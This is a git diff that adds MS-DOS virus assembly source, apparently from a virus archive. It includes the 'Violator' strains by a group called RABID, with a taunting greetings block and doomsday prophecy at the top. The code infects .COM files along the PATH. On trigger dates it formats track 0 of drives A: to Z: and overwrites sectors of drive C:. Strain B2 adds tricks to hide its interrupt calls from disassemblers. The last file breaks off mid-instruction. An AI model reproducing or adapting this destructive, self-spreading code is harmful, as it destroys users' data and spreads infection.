Yup. Just keep going to +; those Beverly Hills Snob Private schools and think you'll get somewhere in +; the world. +; +; To Slave Lord. Take your precious group and shove it up your ass sideways. +; Your cracks suck man! A friend of mine who attended COMDEX last year can +; sum up the majority of your group in one word. GEEKS! INC rules and it +; always will. Keep on dreaming... We eat assholes like you for breakfast... +; Need we even mention how many times we crashed Slave Den last year??? +; 'Nuff said... +; +; To PCM2. Where the hell are you man? Get working guy... +; +; And to all other virus writers out there who remain annonomous. Keep up the +; great work. McFee wouldn't be where he is now unless it wansn't for people +; like us. (He should be greatfull... +; +; Take care guys... And watch out. We're everywhere... +; +;****************************************************************************** +; +; -=THE=- +; +; The RABID International Development Corp. +; ----------------------------------------- +; Big hey-yo's to: FF, TJA, TM, PT, and MM. +; +; +; "...take heed that no man deceive you. For many shall come in my name, +; saying I am Christ; and shall deceive many. And ye shall hear of wars and +; rumours of wars: see that ye be not troubled: for all these things must come +; to pass, but the end is not yet. For nation shall rise against nation, and +; kingdom against kingdom: and there shall be famines, and pestilences, and +; earthquakes, in divers places. All these are the beginning of sorrows." +; (Matthew 24:4-9) +; +; The tenth day of Tishri shall fall upon October 9th, 2000. Revelation will +; be fulfilled. +; +; We're getting there unless those bastards in power do something to save this +; Earth we live on. +; +; Nostradamus prophesised that we may follow one of two paths. One to harmony, +; or one to destruction. Which path will we follow? +; +; Think about it. +; +;****************************************************************************** + + + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV CX,3 + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + mov ah,30h + int 21h + cmp al,0 + JnZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + JMP year_check + +year_check: + mov ah,2ah + int 21h + cmp cx,1990 + jge month_check + jmp find_path + +month_check: + mov ah,2ah + int 21h + cmp dh,6 + jge day_check + jmp find_path + +day_check: + mov ah,2ah + int 21h ; Set date to June 22nd, 1990 + cmp dl,22 + jge alter + jmp find_path + +alter: + mov al,1 ; Set for Drive 'B:' + mov cx,1 ; Change to 'MOV AL,2' for drive C: + mov dx,00 + mov ds,[di+55] + mov bx,[di+99] + int 26h + jmp find_path + + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH + +vir_dat EQU $ + +intro db 13,10,' DDrUS (C) - 1990 $',13,10 +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA + + CODE ENDS +END VCODE diff --git a/MSDOS/Virus.MSDOS.Unknown.viol-b.asm b/MSDOS/Virus.MSDOS.Unknown.viol-b.asm new file mode 100644 index 00000000..53a99f1d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viol-b.asm @@ -0,0 +1,391 @@ +;***************************************************************************** +; +; Violator - Strain B +; +;***************************************************************************** +; +; (Aug/09/90) +; +; Development Notes: +; +; I encountered several errors in the original Violator code which I +; corrected in this version. Mainly, the INT 26 routine to fuck the +; disk. It seems that the routine would crash right after the INT 26 +; was executed and the whole program would die. I have since fixed +; this problem in this version with an INT 13, AH 05 (Format Track) +; command. This works better than the subsequent INT 26. +; +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Copyright (C) 1990 by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + INT 21H + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +year_check: + MOV AH,2AH ;Get date info + INT 21H ;Call DOS + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + INT 21h ;Call DOS + CMP DH,9 ;Check to see if it is September + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + INT 21H ;Call DOS + CMP DL,4 ;Check to see if it is the 4th + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE find_path ;Go on with infection + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + INT 13h ;Call RWTS + RET ;Return up for next drive + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + POP CX + XOR AX,AX ;XOR values so that we will give the + XOR BX,BX ;poor sucker a hard time trying to + XOR DX,DX ;reassemble the source code if he + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +intro db '.D$^i*&B)_a.%R',13,10 +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +cntr DB 2 ; Drive to nuke from (C:+++) +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.viol-b2.asm b/MSDOS/Virus.MSDOS.Unknown.viol-b2.asm new file mode 100644 index 00000000..f7c6ecce --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viol-b2.asm @@ -0,0 +1,510 @@ +;***************************************************************************** +; +; Violator - Strain B2 +; +;***************************************************************************** +; +; (Sep/23/90) +; +; Development Notes: +; +; In this version, I have implemented various methods of thwarting users +; attempts to dissassemble this program as well as tracing various interrupt +; calls. +; +; This was done by setting a marker and then doing a CALL to a location which +; will decide which interrupt to issue based on the marker value. Couple this +; with multiple jumps, and it is enough to make any dissassembler puke it's +; guts out, not to mention anyone looking at us with debug will probably +; have an enema before they find out which interrupt we are using. +; +; Also, I have added a routine to thouroughly mess up drive C at the end of +; wiping out all drive. This was taken from Violator A becuase it worked to +; nicely destruction-wise. +; +; In other notes, this sucker is set to go off on October 31st 1990. +; +; UIV v1.0 is still on the fritz and will not become Violator C until I fix it +; to wipe out vectors 13, 26, and 21 (HEX). +; +; (Oct.02.90) +; +; Made a minor change so that INT 26 will also be accessed via flag. +; +;***************************************************************************** +; +; Written by - The High Evolutionary - +; RABID Head Programmer +; +; Copyright (C) 199O by RABID Nat'nl Development Corp. +; +;***************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H ; Set ORG to 100H plus our own + +VCODE: JMP virus + + NOP + NOP + NOP ;15 NOP's to place JMP Header + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + MOV AH,30H + MOV marker,1 + call weed + CMP AL,0 ;Quit it it's DOS 1.0 + JNZ dos_ok + JMP quit + +dos_ok: PUSH ES + MOV AH,2FH + MOV marker,1 + CALL weed + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + MOV DX,dta + ADD DX,SI + MOV AH,1AH + MOV marker,1 + CALL weed + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP year_check + +; +; This routine weed's out the calls... +; + +weed: CMP marker,1 ;Check to see if it's an INT 21 call + JE int_21 ;If yes,then go and issue an INT 21 + CMP marker,2 ;Check to see if it's an INT 13 call + JE int_13 ;If yes, then go and issue an INT 13 + CMP marker,3 ;Check to see if it's an INT 26 call + JE int_26 ;If yes, then go and issue an INT 26 + RET ;Go back to where we were called from + +; +; The RET there is unnecessary, but I put it there just to be on the safe side +; incase of a "What If?" scenario... The real valid RET is issued from the JE +; locations (int_21 and int_13)... You may choose to comment this line on +; compilation, but what difference does one byte make ? +; + +year_check: + MOV AH,2AH ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP CX,1990 ;Check to see if the year is 1990 + JGE month_check ;If greater or equal, check month + JMP find_path ;If not, go on with infection + +month_check: + MOV AH,2AH ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP DH,10 ;Check to see if it is October + JGE day_check ;If greater or equal, check day + JMP find_path ;if not, go on with infection + +day_check: + MOV AH,2Ah ;Get date info + MOV marker,1 ;Call DOS + CALL weed + CMP DL,31 ;Check to see if it is the 31st + JGE multiplex ;If yes, then nuke drives A:-Z: + JMP find_path ;If not, then go on with infection + +int_21: INT 21h ;Issue an INT 21 + RET ;Return from CALL + +multiplex: + MOV AL,cntr ;Counter is the drive to kill + CALL alter ;Go and kill the drive + ;25 is drive Z: + CMP cntr,25 ;Is (cntr) 25 ? + JE really_nuke ;Now go and Blow up drive C: + INC cntr ;Add one to (cntr) + LOOP multiplex ;Loop back up to kill next drive + +int_26: INT 26h + RET + +alter: + MOV AH,05 ;Format Track + MOV CH,0 ;Format track 0 + MOV DH,0 ;Head 0 + MOV DL,cntr ;Format for drive in (cntr) + MOV marker,2 ;Call RWTS + CALL weed + RET ;Return up for next drive + +int_13: INT 13h ;Issue an INT 13 + RET ;Return from CALL + +really_nuke: + MOV AL,2 ;Set to fry drive C + MOV CX,700 ;Set to write 700 sectors + MOV DX,00 ;Starting at sector 0 + MOV DS,[DI+99] ;Put random crap in DS + MOV BX,[DI+55] ;More crap in BX + MOV marker,3 ;Call BIOS + CALL weed + POPF ;Pop the flags because INT 26 messes + ;them up + +find_path: + POP SI + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will go +; along and infect the ROOT directory on the default drive. +; + JNZ find_path ;If not path, then go to ROOT dir + LOOP check_next_4 ;Go back and check for more chars + POP SI ;Load in PATH again to look for chars + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc ;Put the filename in wrk_spc + MOV BX,SI + ADD SI,wrk_spc + MOV DI,SI + JMP SHORT slash_ok + +;***************************************************************************** +; +; Infection Notes: (Oct.02.90) +; +; A wierd thing happened a few days ago, I was testing this virus out on my +; system under Flushot + and I monitored everything that was going on. Here is +; the exact order that Violator infects stuff: +; +; 1) If there is a path used, we first infect the current directory until +; full. +; +; If there is no path, we infect the current directory either way... +; +; 2) If there is no path, we then infect the current directory, and then +; go on and infect all COM'z in the root directory. +; +; 3) Finally, after everything in the path has been infected, we then go and +; infect all of the COM shit in the root directory... +; +; This results in a bug with the slash checker. It checks to see if there is +; a slash on the end of the path, and if there is none, it adds one. But +; what would happen if there's no path??? It'll still add a slash. +; This benefit's us greatly. Anyway, on with the code... +; +;***************************************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the file name to infect! (hehe) + + +move_subdir: + LODSB ;To tedious work to move into subdir + CMP AL,';' ;Does it end with a ; charachter? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future reference + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS so that we can do stuph + MOV [BX+path_ad],SI ;Where is the next subdir? + NOP + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspace + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... THE VICTIM!!! + MOV CX,3 ;Attributes of Read Only or Hidden OK + MOV marker,1 + CALL weed + JMP SHORT find_first + +find_next: + MOV AH,4FH + MOV marker,1 + CALL weed + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + MOV marker,1 + CALL weed + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + MOV marker,1 + CALL weed + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + MOV marker,1 + CALL weed + AND DH,7 + JMP infect + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + MOV marker,1 + CALL weed ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + MOV marker,1 + CALL weed + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + MOV marker,1 + CALL weed + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + MOV marker,1 + CALL weed + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + MOV marker,1 + CALL weed + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + MOV marker,1 + CALL weed + MOV AH,3EH + MOV marker,1 + CALL weed + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV 